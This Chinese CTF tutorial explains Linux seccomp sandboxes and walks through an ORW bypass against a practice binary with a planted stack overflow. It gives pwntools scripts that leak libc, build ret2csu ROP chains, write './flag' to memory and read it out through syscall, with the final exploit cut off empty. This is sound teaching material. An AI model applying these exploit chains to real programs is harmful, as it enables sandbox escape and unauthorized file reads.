• 参考博客

Seccomp从0到1-安全客 - 安全资讯平台 (anquanke.com)

浅谈 ORW - 简书 (jianshu.com)

关于ORW

  • C语言的ORW的语法分别是
  • open,
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
open:
int open(const char *pathname, int flags, mode_t mode);

示例:
int fd = open("example.txt", O_RDWR | O_CREAT, 0644);
if (fd == -1) {
// 错误处理
}
//而第二个参数O_RDWR是一个宏定义
//在Linux下,该宏定义被定义为
#define O_RDONLY 0x0000 // 只读模式
#define O_WRONLY 0x0001 // 只写模式
#define O_RDWR 0x0002 // 读写模式
#define O_APPEND 0x0008 // 在文件末尾追加内容
#define O_NONBLOCK 0x0004 // 非阻塞模式
#define O_CREAT 0x0040 // 如果文件不存在,则创建它
#define O_EXCL 0x0080 // 与 O_CREAT 一起使用,确保文件不已存在
#define O_TRUNC 0x0200 // 打开文件时清空文件内容
#define O_DIRECTORY 0x1000 // 只打开目录
#define O_NOFOLLOW 0x2000 // 不追踪符号链接
#define O_DSYNC 0x0100 // 数据同步
#define O_RSYNC 0x0400 // 读同步
#define O_SYNC 0x0080 // 同步写入
#define O_TTY_INIT 0x4000 // TTY 初始化标志
  • write
1
2
3
4
5
6
7
8
ssize_t write(int fd, const void *buf, size_t count);

示例:
const char *data = "Hello, World!";
ssize_t bytes_written = write(fd, data, strlen(data));
if (bytes_written == -1) {
// 错误处理
}
  • read
1
2
3
4
5
6
7
8
9
10
11
12
read:
ssize_t read(int fd, void *buf, size_t count);

示例:
char buffer[128];
ssize_t bytes_read = read(fd, buffer, sizeof(buffer) - 1);
if (bytes_read == -1) {
// 错误处理
} else {
buffer[bytes_read] = '\0'; // 添加字符串结束符
printf("Read: %s\n", buffer);
}

前提准备

  • 所需工具
1
2
3
sudo apt install libseccomp-dev libseccomp2 seccomp

seccomp-tools

seccomp

  • 直接输入命令即可
1
sudo apt install libseccomp-dev libseccomp2 seccomp

seccomp-tools

  • 先要输入指令安装ruby的编译器
1
sudo apt install gcc ruby-dev
  • 然后再下载seccomp-tools
  • 注意:安装过程可能会很慢,可能回车后也没反应,这个时候只能耐心等待了。
1
sudo gem install seccomp-tools
  • 如果下载不下来,先看看默认配置有没问题,先ping一下该网站,如果出现该提示说明域名解析失败。
1
ping rubygems.org

image-20240924160149620

  • 这时我们查看域名解析,发现在此之前我只有阿里云的域名解析,可能解析不到国外的域名,所以添加一个谷歌服务器的域名解析
1
2
nameserver 8.8.8.8
nameserver 8.8.4.4

image-20240924160311760

  • 添加好后再ping,发现能ping通
image-20240924160427793
  • 然后再使用gem sources -l查看一下gem是用镜像源还是官网地址,发现我是用镜像源(之前换成镜像源了,但是还是下载不下来,这回)

image-20240924160526950

  • 这回我使用http协议进行传输,不用https协议进行传输,从官网下载,添加如下命令
1
2
gem sources --remove https://rubygems.org/
gem sources --add http://rubygems.org/

image-20240924160711415

  • 然后再输入下载命令即可
1
sudo gem install seccomp-tools
image-20240924162314965
  • 下载好后输入命令查看是否安装成功
1
seccomp-tools

image-20240901131445889

  • 然后找一个沙箱的pwn题进行简单的使用,输入该指令,会出现下图所示
1
seccomp-tools dump ./level_1_orw

image-20240901131706828

secocomp

  • seccomp(Secure Computing Mode)是一种用于限制Linux系统中进程权限的安全机制。它通过为进程设置系统调用过滤器来减少可能的攻击面,防止恶意软件或攻击者利用系统调用进行恶意操作。通过启用seccomp,程序只能执行允许的系统调用,这样可以有效降低攻击风险,增强系统安全性。最早的Seccomp将系统可用的系统调用限制为四种:read、write、_exit、sigreturn
  • 现在secocomp主要使用的是BPF(Berkeley Packet Filter)和EBPF

白名单与黑明单

  • 黑名单是一种阻止策略,列出不允许执行或访问的应用、文件、网址或行为。如果题目是黑名单,可能会出现非预期解。

  • 例如下图:这就是一个黑名单策略,只禁止execve这个系统调用,允许其他的系统调用

img

  • 白名单是一种允许策略,列出被认为安全且允许执行或访问的应用、文件、网址或行为。如果题目是白名单,相当于答案写在脸上
  • 例如下图:这就是一个白名单策略,只允许orw这三个系统调用,其他系统调用都不被允许

image-20240901131706828

示例程序1

  • seccomp_off
1
2
3
4
5
6
7
8
9
#include <stdio.h>
#include <sys/prctl.h>
#include <linux/seccomp.h>
int main() {
//prctl(PR_SET_SECCOMP, SECCOMP_MODE_STRICT);
char *buf = "hello world!n";
write(0,buf,0xc);
printf("%s",buf);
}
  • 使用gcc编译后执行的结果如下

image-20240510070339594

示例程序2

  • seccomp_on
1
2
3
4
5
6
7
8
9
10
#include <stdio.h>
#include <sys/prctl.h>
#include <linux/seccomp.h> //引用seccomp头文件

int main() {
prctl(PR_SET_SECCOMP, SECCOMP_MODE_STRICT);
char *buf = "hello world!";
write(0,buf,0xc);
printf("%s",buf);
}
  • 使用gcc编译后执行的结果如下

image-20240510070426650

  • 也就是说,seccomp打开的时候,是用write显示 hello world!而printf是没办法显示 hello world!,在调用printf函数的时候,程序会被杀死

  • 在调用printf函数的时候除了调用write,还有其他的系统调用

  • 经过调试发现printf函数调用了下图的函数,导致进入沙箱,进程被杀死

image-20240901073945964

源码查看

filter.h

  • 下面是本人ubuntu虚拟机下的filter.h文件里面的内容
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
iyheart@iyheart-virtual-machine ~> cat /usr/include/linux/filter.h
/* SPDX-License-Identifier: GPL-2.0 WITH Linux-syscall-note */
/*
* Linux Socket Filter Data Structures
*/

#ifndef __LINUX_FILTER_H__
#define __LINUX_FILTER_H__


#include <linux/types.h>
#include <linux/bpf_common.h>

/*
* Current version of the filter code architecture.
*/
#define BPF_MAJOR_VERSION 1
#define BPF_MINOR_VERSION 1

/*
* Try and keep these values and structures similar to BSD, especially
* the BPF code definitions which need to match so you can share filters
*/

struct sock_filter { /* Filter block */
__u16 code; /* Actual filter code */
__u8 jt; /* Jump true */
__u8 jf; /* Jump false */
__u32 k; /* Generic multiuse field */
};

struct sock_fprog { /* Required for SO_ATTACH_FILTER. */
unsigned short len; /* Number of filter blocks */
struct sock_filter *filter;
};

/* ret - BPF_K and BPF_X also apply */
#define BPF_RVAL(code) ((code) & 0x18)
#define BPF_A 0x10

/* misc */
#define BPF_MISCOP(code) ((code) & 0xf8)
#define BPF_TAX 0x00
#define BPF_TXA 0x80

/*
* Macros for filter block array initializers.
*/
#ifndef BPF_STMT
#define BPF_STMT(code, k) { (unsigned short)(code), 0, 0, k }
#endif
#ifndef BPF_JUMP
#define BPF_JUMP(code, k, jt, jf) { (unsigned short)(code), jt, jf, k }
#endif

/*
* Number of scratch memory words for: BPF_ST and BPF_STX
*/
#define BPF_MEMWORDS 16

/* RATIONALE. Negative offsets are invalid in BPF.
We use them to reference ancillary data.
Unlike introduction new instructions, it does not break
existing compilers/optimizers.
*/
#define SKF_AD_OFF (-0x1000)
#define SKF_AD_PROTOCOL 0
#define SKF_AD_PKTTYPE 4
#define SKF_AD_IFINDEX 8
#define SKF_AD_NLATTR 12
#define SKF_AD_NLATTR_NEST 16
#define SKF_AD_MARK 20
#define SKF_AD_QUEUE 24
#define SKF_AD_HATYPE 28
#define SKF_AD_RXHASH 32
#define SKF_AD_CPU 36
#define SKF_AD_ALU_XOR_X 40
#define SKF_AD_VLAN_TAG 44
#define SKF_AD_VLAN_TAG_PRESENT 48
#define SKF_AD_PAY_OFFSET 52
#define SKF_AD_RANDOM 56
#define SKF_AD_VLAN_TPID 60
#define SKF_AD_MAX 64

#define SKF_NET_OFF (-0x100000)
#define SKF_LL_OFF (-0x200000)

#define BPF_NET_OFF SKF_NET_OFF
#define BPF_LL_OFF SKF_LL_OFF

#endif /* __LINUX_FILTER_H__ */

bpf_common.h

  • 下面为本人ubuntu下的bpf_common.h的源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
/* SPDX-License-Identifier: GPL-2.0 WITH Linux-syscall-note */
#ifndef __LINUX_BPF_COMMON_H__
#define __LINUX_BPF_COMMON_H__

/* Instruction classes */
#define BPF_CLASS(code) ((code) & 0x07)
#define BPF_LD 0x00
#define BPF_LDX 0x01
#define BPF_ST 0x02
#define BPF_STX 0x03
#define BPF_ALU 0x04
#define BPF_JMP 0x05
#define BPF_RET 0x06
#define BPF_MISC 0x07

/* ld/ldx fields */
#define BPF_SIZE(code) ((code) & 0x18)
#define BPF_W 0x00 /* 32-bit */
#define BPF_H 0x08 /* 16-bit */
#define BPF_B 0x10 /* 8-bit */
/* eBPF BPF_DW 0x18 64-bit */
#define BPF_MODE(code) ((code) & 0xe0)
#define BPF_IMM 0x00
#define BPF_ABS 0x20
#define BPF_IND 0x40
#define BPF_MEM 0x60
#define BPF_LEN 0x80
#define BPF_MSH 0xa0

/* alu/jmp fields */
#define BPF_OP(code) ((code) & 0xf0)
#define BPF_ADD 0x00
#define BPF_SUB 0x10
#define BPF_MUL 0x20
#define BPF_DIV 0x30
#define BPF_OR 0x40
#define BPF_AND 0x50
#define BPF_LSH 0x60
#define BPF_RSH 0x70
#define BPF_NEG 0x80
#define BPF_MOD 0x90
#define BPF_XOR 0xa0

#define BPF_JA 0x00
#define BPF_JEQ 0x10
#define BPF_JGT 0x20
#define BPF_JGE 0x30
#define BPF_JSET 0x40
#define BPF_SRC(code) ((code) & 0x08)
#define BPF_K 0x00
#define BPF_X 0x08

#ifndef BPF_MAXINSNS
#define BPF_MAXINSNS 4096
#endif

#endif /* __LINUX_BPF_COMMON_H__ */

沙箱绕过方法

在考察沙箱绕过方法时,并不会单单只是考ORW,往往还会考察其他知识点,所以沙箱这块可以出的比较杂

沙箱的题目也经常和shellcode联系在一起,这一般就需要手搓汇编了或者工具生成汇编了

方法1ORW在CTF的时候,目的不是获得shell,而是得到flag。如果将系统调用号execvesystemsystemcall,这时就可以考虑使用openreadwrite将flag读取出来即可。

方法2侧信道爆破当没有办法进行ORW的时候,这时候就可以利用侧信道爆破将flag爆破出来。

方法3:注入shellcode,shellcode的编写练习如下Weixin Official Accounts Platform (qq.com)

  • 关于ORW的系统调用号
1
2
3
4
5
6
7
8
9
对于Linux32位
read 3
write 4
open 5

对于Linux64位
read 0
write 1
open 2

题目1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <seccomp.h>
#include <linux/seccomp.h>

int init_func(){
setvbuf(stdin,0,2,0);
setvbuf(stdout,0,2,0);
setvbuf(stderr,0,2,0);
return 0;
}
int init_seccomp(){
scmp_filter_ctx ctx;
ctx = seccomp_init(SCMP_ACT_KILL);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0);
seccomp_load(ctx);
}

int dofunc(){
char buf[8] = {};
write(1,"input name:",0xb);
read(0,buf,0x200);
printf("hello %s\n",buf);
return 0;
}

int main(){
init_func();
init_seccomp();
dofunc();
return 0;
}
//gcc level_1_orw -fno-stack-protector -no-pie -o level_1_orw -l seccomp

分析1–ret2libc泄露地址

  • 先将编译好的程序拖入IDA,对其进行反编译查看

  • 查看main函数,发现main函数中有seccomp这说明该程序开启了沙箱功能

image-20240901201848633

  • 如果点进去查看沙箱功能,如果要硬看的话其实也能看得懂沙箱是开白名单还是黑名单,允许的系统调用,禁止的系统调用

image-20240901202119336

  • 为了方便查看,我们使用 seccomp-tools对沙箱进行查看,输入seccomp-tools dump ./level_1_orw命令
  • 从下图可以看到,该沙箱开启的是一个白名单,只允许orw这三个系统调用

image-20240901202238484

  • 知道了沙箱的白名单后就进行下一步,查看反编译后的dofunc函数内部执行流程,这个函数内部的执行流程如下:
    • 先定义一个8字节的整型变量buf该变量位于栈上
    • 然后再使用write打印出input name,提示用户输入内容
    • 使用read函数将用户输入的内容写入buf里面去。但是由于read函数允许写入0x200个字节,这就会导致栈溢出
    • 使用printf函数打印出之前输入的内容
    • 最后return 0结束该函数

image-20240901202450741

  • 由上述分析可知:
    • 如果没有沙箱的话,此题就是一个简单的ret2libc的题目
    • 但是由于存在沙箱,这样此题就变成了ret2libc+orw的题目了

利用1

  • 这个时候我们先利用栈溢出进行ret2libc操作,先将libc的地址给泄露出来以方便后续进行操作

  • 注意栈对齐

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *
p = process('./level_1_orw')
context(arch='amd64',os = 'Linux',endian='little',log_level='debug')
pop_rdi = 0x4013e3
ret = 0x40101a
read_got = 0x404040
printf_plt = 0x4010e4
payload1 = b'A'*0x10 +p64(ret) +p64(pop_rdi) + p64(read_got) +p64(printf_plt)
p.sendline(payload1)
p.recvuntil(b'\n')
b = p.recv()
b = int.from_bytes(b,byteorder='little')
print("printf_addr----->",hex(b))
p.interactive()
  • 先接收到printf函数的libc地址,然后再进行动态调试,将printf与libc的偏移地址算出来,使用动态调试可以将一些重要的函数地址算出来
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
pwndbg> p write - read
$4 = 160

pwndbg> p read - open
$7 = 752

pwndbg> p read - system
$8 = 801376

pwndbg> search '/bin/sh'
Searching for value: '/bin/sh'
libc.so.6 0x732a211d8678 0x68732f6e69622f /* '/bin/sh' */
pwndbg> p read
$9 = {ssize_t (int, void *, size_t)} 0x732a211147d0 <__GI___libc_read>
pwndbg> p 0x732a211d8678 - 0x732a211147d0
$10 = 802472

pwndbg> p syscall - read
$4 = 41120
  • 这样就可以得到一些关键函数和字符串的地址,这时我们先尝试一下直接system('/bin/sh')。看看在沙箱开启的状态下如何。
  • 发现是打不通的
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *
p = process('./level_1_orw')
context(arch='amd64',os = 'Linux',endian='little',log_level='debug')
pop_rdi = 0x4013e3
#gdb.attach(p)
ret = 0x40101a
read_got = 0x404040
printf_plt = 0x4010e4
dofunc = 0x4012E8
payload1 = b'A'*0x10 +p64(ret) +p64(pop_rdi) + p64(read_got) +p64(printf_plt) + p64(dofunc)
p.sendline(payload1)
p.recvuntil(b'\n')
b = p.recv()[:6]
read_addr = int.from_bytes(b,byteorder='little')
print("read_addr----->",hex(read_addr))
sh_addr = read_addr + 802472
sys_addr = read_addr - 801376
write_addr = read_addr + 160
open_addr = read_addr - 752
payload2 = b'A'*0x10 +p64(pop_rdi) + p64(sh_addr) + p64(sys_addr)
p.sendline(payload2)
p.interactive()

image-20240902212221790

分析2–read写入文件路径

  • 这时一般的ret2libc打不进去,一般的思路就是进行orw
  • orw的思路就是
    • 泄露内存地址,得到open、read、write这个函数在libc中的地址
    • 根据open的这个函数调用,将flag文件打开
      • 我们需要再内存中寻找现有的flag./flagflag.txt./flag.txt这些字串,以便我们打开flag文件
      • 如果内存中没有这些字符串,那么我们就需要写入使用read函数或者其他可对内存进行读写的函数将flag.txt等字符串写入内存中。可能要用上ret2csu写入字串
    • 最后再利用ORW读出flag
  • 先查看我们当前目录下的flag文件的名称,发现名称为flag,所以我们需要打开当前文件下的flag文件(无任何后缀),这时我们就需要字符串./flag

image-20240902224332923

  • 先搜索内存中是否有出现./flag这个字串,显然并没有出现./flag这个字符串

image-20240902224236892

  • 既然没有,但是我们需要./flag字符串,这时我们就应该将./flag这个字符串写入到内存中。

  • 接下来我们就利用read函数使用ret2csu将字符串写入内存中

    • read函数的参数传递依次为0(键盘输入流)、地址(这里选择.bss段地址)、写入长度(这里需要满足./flag+\x00一共7个字符)

    • 而64位的参数传递依次使用rdirsirdx寄存器传递参数

    • 这个时候我们就要让rdi的值为0rsi的值为0x404068.bss段中能写入的地址,rdx的值为7即可

  • 利用csu这个函数的one_gadget为这些寄存器赋想要的值

image-20240903011919759

  • 这里先返回到.text:00000000004013DA 5B pop rbx

  • 然后对栈上的数据进行布局

    • .text:00000000004013C0 4C 89 F2 mov rdx, r14
    • .text:00000000004013C3 4C 89 EE mov rsi, r13
    • .text:00000000004013C6 44 89 E7 mov edi, r12d
    • 最后再通过该call指令,调用read函数写入,call调用函数的地址为r15 + rbx*8的值,所以可以布局rbx = 0r15 = read_got
    • 使用call命令调用read函数后,返回后继续执行下面程序,这时会出现太高栈帧的情况,即add rsp,8,然后还会连着进行6个出栈操作,所以这时我们需要填充7个栈帧
1
.text:00000000004013C9 41 FF 14 DF                   call    ds:(__frame_dummy_init_array_entry - 403E00h)[r15+rbx*8]     

image-20240903014425358

image-20240903014623603
  • 所以该次payload的构造栈帧结果如下:

image-20240903013226006

利用2

  • 使用ret2csu对进行写入./flag字符串
  • 同时注意栈对齐
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from pwn import *
p = process('./level_1_orw')
context(arch='amd64',os = 'Linux',endian='little',log_level='debug')
pop_rdi = 0x4013e3
#gdb.attach(p)
ret = 0x40101a
read_got = 0x404040
printf_plt = 0x4010e4
dofunc = 0x4012E8
pop_rbx_rbp_r12 = 0x4013DA
bss_addr = 0x404068
mov_rdx = 0x4013C0
pop_rsi_r15 = 0x4013e1

# 第一次payload,泄露read地址,并接收
payload1 = b'A'*0x10 +p64(ret)+p64(pop_rdi) + p64(read_got) + p64(printf_plt)
payload1+= p64(ret)+p64(dofunc)
p.sendline(payload1)
p.recvuntil(b'\n')
b = p.recv()[:6]
read_addr = int.from_bytes(b,byteorder='little')
print("read_addr----->",hex(read_addr))



# 计算其他函数在libc中的地址
sh_addr = read_addr + 802472
sys_addr = read_addr - 801376
write_addr = read_addr + 160
open_addr = read_addr - 752

# 布置写入./flag的栈
rbx = 0
rbp = 1
r12 = 0
r13 = bss_addr
r14 = 0x7
r15 = read_got

# 第二次payload,写入字符串`./flag`,再返回到dofunc函数中
payload2 = b'A'*0x10+p64(pop_rbx_rbp_r12) + p64(rbx) + p64(rbp)
payload2+= p64(r12) + p64(r13) +p64(r14) +p64(r15) + p64(mov_rdx)
payload2+= p64(0xdeadbeff)*7+p64(dofunc)
p.sendline(payload2)
p.send(b'./flag\x00')
p.interactive()

分析3–syscall函数调用

  • 这时候就要使用open函数将flag文件打开,我们只需要只读权限即可,同时还需要稍微考虑一下open的第三个参数,第三个参数可能会影响文件的打开,在使用open函数的时候我就遇到了该问题
1
2
3
4
// 其中最小合法化的open函数调用为
open("example.txt",O_RDWR)
#define O_RDONLY 0x0000 // 只读模式
//
  • 这时我们需要使用pop_rdipop_rsi_r15这两个one_gadget进行传参,将bss_addr = 0x404068传给rdi,然后将0x0传给rsi,传参完调用open函数这样flag文件就可以打开了
1
2
payload3 = b'A'*0x10 + p64(ret) + p64(pop_rdi) + p64(bss_addr) + p64(pop_rsi_r15)
payload3 += p64(0x0) + p64(0xdeadbeff) + p64(open_addr)
  • 但实际上这真正打的时候还是会被沙箱阻止,在动态调试的时候会出现如下状况
  • 当进行SYS_openat系统调用的时候会出现Bad system call,这个情况其实就是被沙箱阻止了
    • 原因是:从 Linux 内核版本 2.6.23开始,open的系统调用其实不是利用open系统调用了,而是用SYS_openat系统调用
    • 现在有两个方法可以进行绕过:一、直接在libc上找到使用open系统调用的函数即其地址(可能没有)。二、直接使用libc中的syscall
image-20240903073541130 image-20240903073623089
  • 使用syscall系统调用时,就需要再次利用ret2csu进行参数传递了。将open的系统调用号2,给rdi寄存器。将./flag的地址给rsi寄存器,再将0rdx寄存器

  • 还有一个地方需要注意的是,调用libc库函数是需要利用got表进行跳转的,但是程序并没有Syscall的got表,这时我们需要利用之前调用的read函数,在写入./flag的同时,将syscall的地址也写到bss段上,将其当做got表

  • 这时我们对payload2进行修改

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 布置写入./flag的文件路径和Syscall的got表
rbx = 0
rbp = 1
r12 = 0
r13 = bss_addr
r14 = 0x8 + 0x8
r15 = read_got
pause()
# 第二次payload,写入字符串`./flag`,再返回到dofunc函数中
payload2 = b'A'*0x10+p64(pop_rbx_rbp_r12) + p64(rbx) + p64(rbp)
payload2+= p64(r12) + p64(r13) +p64(r14) +p64(r15) + p64(mov_rdx)
payload2+= p64(0xdeadbeff)*7+p64(dofunc)
p.sendline(payload2)
p.sendline(b'./flag\x00\x00'+p64(syscall_addr))
  • 之后继续布置栈帧,构造payload3,实现syscallopen的系统调用
    • 这里我在open的时候出现了一个问题,导致打开文件失败。就是open 函数的第三个参数如果直接设置为 0x7,可能无法按预期打开文件。这是因为 open 的第三个参数(mode 参数)在创建文件时指定文件权限,而不是表示所有用户类型(用户、组、其他)的组合权限。
    • 所以应该注意一下open的第三个参数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# 布置打开syscall的栈
rbx = 0
rbp = 1
r12 = 0x2
r13 = bss_addr
r14 = 0x6
r15 = bss_addr + 0x8
pause()
# 第三次payload,使用open打开flag
#print("第三次payload")
payload3 = b'A'*0x10+p64(pop_rbx_rbp_r12) + p64(rbx) + p64(rbp)
payload3+= p64(r12) + p64(r13) +p64(r14) +p64(r15) + p64(mov_rdx)
payload3+= p64(0xdeadbeff)*7 + p64(dofunc)
pause()
p.sendlineafter(b'input name:',payload3)
  • 布置完成之后就可以进行open的系统调用了

image-20240903085509809

利用3

  • 这次就可以将flag打开了
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
from pwn import *
p = process('./level_1_orw')
context(arch='amd64',os = 'Linux',endian='little',log_level='debug')
pop_rdi = 0x4013e3
ret = 0x40101a
read_got = 0x404040
printf_plt = 0x4010e4
dofunc = 0x4012E8
pop_rbx_rbp_r12 = 0x4013DA
bss_addr = 0x404089
mov_rdx = 0x4013C0
pop_rsi_r15 = 0x4013e1
gdb.attach(p)
# 第一次payload,泄露read地址,并接收
payload1 = b'A'*0x10 +p64(ret)+p64(pop_rdi) + p64(read_got) + p64(printf_plt)
payload1+= p64(ret)+p64(dofunc)
p.sendlineafter(b'input name:',payload1)
p.recvuntil(b'\n')
b = p.recv()[:6]
read_addr = int.from_bytes(b,byteorder='little')
print("read_addr----->",hex(read_addr))



# 计算其他函数在libc中的地址
sh_addr = read_addr + 802472
sys_addr = read_addr - 801376
write_addr = read_addr + 160
open_addr = read_addr - 752
syscall_addr = read_addr + 41120

# 布置写入./flag的文件路径和Syscall的got表
rbx = 0
rbp = 1
r12 = 0
r13 = bss_addr
r14 = 0x8 + 0x8
r15 = read_got
pause()
# 第二次payload,写入字符串`./flag`,再返回到dofunc函数中
payload2 = b'A'*0x10+p64(pop_rbx_rbp_r12) + p64(rbx) + p64(rbp)
payload2+= p64(r12) + p64(r13) +p64(r14)+ p64(r15) + p64(mov_rdx)
payload2+= p64(0xdeadbeff)*7+p64(dofunc)
p.sendline(payload2)
p.send(b'./flag\x00\x00'+p64(syscall_addr))

# 布置打开syscall的栈
rbx = 0
rbp = 1
r12 = 0x2
r13 = bss_addr
r14 = 0x6
r15 = bss_addr + 0x8
pause()
# 第三次payload,使用open打开flag
#print("第三次payload")
payload3 = b'A'*0x10+p64(pop_rbx_rbp_r12) + p64(rbx) + p64(rbp)
payload3+= p64(r12) + p64(r13) +p64(r14) +p64(r15) + p64(mov_rdx)
payload3+= p64(0xdeadbeff)*7 + p64(dofunc)
pause()
p.sendlineafter(b'input name:',payload3)

分析4–read函数写入flag到内存

  • 在使用了open函数就需要利用read将flag写入到内存中。

  • 由于使用read函数也需要传递三个参数

    • 第一个参数是fd是文件描述符,注意这里的fd的值,0标准输入,1标准输出,2标准错误,描述符 34 及更高的数字则通常用于程序中打开的其他文件或资源。
    • 所以read的第一个参数为3,所以要将3rdi寄存器
    • 第二个参数是地址,将flag写入指定的内存地址中。这里一般是写在.bss段上,这里我选择写入地址为 0x404068+0x100
    • 第三个参数是写入长度,一般来说flag长度也就小于0x30。如果多了还可以再修改参数
1
2
read:
ssize_t read(int fd, void *buf, len);
  • 传递三个参数,仍然要使用ret2csu这一one_gadget进行传递

  • 继续布置栈帧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# 布置使用read函数的栈
rbx = 0
rbp = 1
r12 = 0x3
r13 = bss_addr + 0x107
r14 = 0x30
r15 = read_got
pause()

# 第四次payload,使用read写入flag
#print("第四次payload")
payload4 = b'A'*0x10+p64(pop_rbx_rbp_r12) + p64(rbx) + p64(rbp)
payload4+= p64(r12) + p64(r13) + p64(r14) +p64(r15) + p64(mov_rdx)
payload4+= p64(0xdeadbeff)*7+ p64(ret) + p64(dofunc)
pause()
p.sendlineafter(b'input name:',payload4)
pause()

利用4

  • 将flag函数读入内存中,就可以进行最后一步利用,使用write函数将flag写出来
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
from pwn import *
p = process('./level_1_orw')
context(arch='amd64',os = 'Linux',endian='little',log_level='debug')
pop_rdi = 0x4013e3
ret = 0x40101a
read_got = 0x404040
printf_plt = 0x4010e4
dofunc = 0x4012E8
pop_rbx_rbp_r12 = 0x4013DA
bss_addr = 0x404089
mov_rdx = 0x4013C0
pop_rsi_r15 = 0x4013e1
gdb.attach(p)
# 第一次payload,泄露read地址,并接收
payload1 = b'A'*0x10 +p64(ret)+p64(pop_rdi) + p64(read_got) + p64(printf_plt)
payload1+= p64(ret)+p64(dofunc)
p.sendlineafter(b'input name:',payload1)
p.recvuntil(b'\n')
b = p.recv()[:6]
read_addr = int.from_bytes(b,byteorder='little')
print("read_addr----->",hex(read_addr))



# 计算其他函数在libc中的地址
sh_addr = read_addr + 802472
sys_addr = read_addr - 801376
write_addr = read_addr + 160
open_addr = read_addr - 752
syscall_addr = read_addr + 41120

# 布置写入./flag的文件路径和Syscall的got表
rbx = 0
rbp = 1
r12 = 0
r13 = bss_addr
r14 = 0x8 + 0x8
r15 = read_got
pause()
# 第二次payload,写入字符串`./flag`,再返回到dofunc函数中
payload2 = b'A'*0x10+p64(pop_rbx_rbp_r12) + p64(rbx) + p64(rbp)
payload2+= p64(r12) + p64(r13) +p64(r14)+ p64(r15) + p64(mov_rdx)
payload2+= p64(0xdeadbeff)*7+p64(dofunc)
p.sendline(payload2)
p.send(b'./flag\x00\x00'+p64(syscall_addr))

# 布置打开syscall的栈
rbx = 0
rbp = 1
r12 = 0x2
r13 = bss_addr
r14 = 0x6
r15 = bss_addr + 0x8
pause()
# 第三次payload,使用open打开flag
#print("第三次payload")
payload3 = b'A'*0x10+p64(pop_rbx_rbp_r12) + p64(rbx) + p64(rbp)
payload3+= p64(r12) + p64(r13) +p64(r14) +p64(r15) + p64(mov_rdx)
payload3+= p64(0xdeadbeff)*7 + p64(dofunc)
pause()
p.sendlineafter(b'input name:',payload3)

# 布置使用read函数的栈
rbx = 0
rbp = 1
r12 = 0x3
r13 = bss_addr + 0x107
r14 = 0x30
r15 = read_got
pause()

# 第四次payload,使用read写入flag
#print("第四次payload")
payload4 = b'A'*0x10+p64(pop_rbx_rbp_r12) + p64(rbx) + p64(rbp)
payload4+= p64(r12) + p64(r13) + p64(r14) +p64(r15) + p64(mov_rdx)
payload4+= p64(0xdeadbeff)*7+ p64(ret) + p64(dofunc)
pause()
p.sendlineafter(b'input name:',payload4)
pause()

p.interactive()
  • 执行后进行动态调试,就可以看到flag已经被写入内存当中了

image-20240903112020966

分析5 --writ函数读取flag

  • 现在要使用write函数对flag进行读操作
  • write函数的参数也有三个
    • 第一个参数为文件描述符:0:标准输入、1:标准输出(stdout)、2:标准错误(stderr),使用write函数我们就需要传参数1给rdi,
    • 第二个参数为地址:表示要输出哪个内存地址的数据,需要将先前read写入的内存地址即 bss_addr + 0x107传给rsi
    • 第三个是读入字节数量:这里也选择将0x30传递给rdx
1
ssize_t write(int fd, const void *buf, size_t count);
  • 仍然需要使用ret2csuonegadgat进行参数的传递和函数的调用
  • 栈帧布置如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
# 布置使用write函数
rbx = 0
rbp = 1
r12 = 0x1
r13 = bss_addr + 0x107
r14 = 0x30
r15 = write_got

# 第五次payload,使用write写入flag
payload5 = b'A'*0x10+p64(pop_rbx_rbp_r12) + p64(rbx) + p64(rbp)
payload5+= p64(r12) + p64(r13) + p64(r14) +p64(r15) + p64(mov_rdx)
payload5+= p64(0xdeadbeff)*7+ p64(ret) + p64(dofunc)
p.sendlineafter(b'input name:',payload5)

使用printf函数输出flag

  • 这题除了可以使用write输出flag,还可以使用printf函数输出flag,但是要注意栈对齐,但是由于一般orw都是使用write。这里就对printf不做过多介绍
1
2
3
# 使用printf函数输出flag
payload5 = b'A'*0x10 +p64(ret) + p64(pop_rdi) + p64(bss_addr + 0x107) + p64(printf_plt)
p.sendlineafter(b'input name:',payload5)
  • 也可以打印出flag
image-20240903120844928

利用5

  • 最后利用write函数写出该flag。终于打出来了,前前后后花了半天多的时间,边打边学

  • 完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
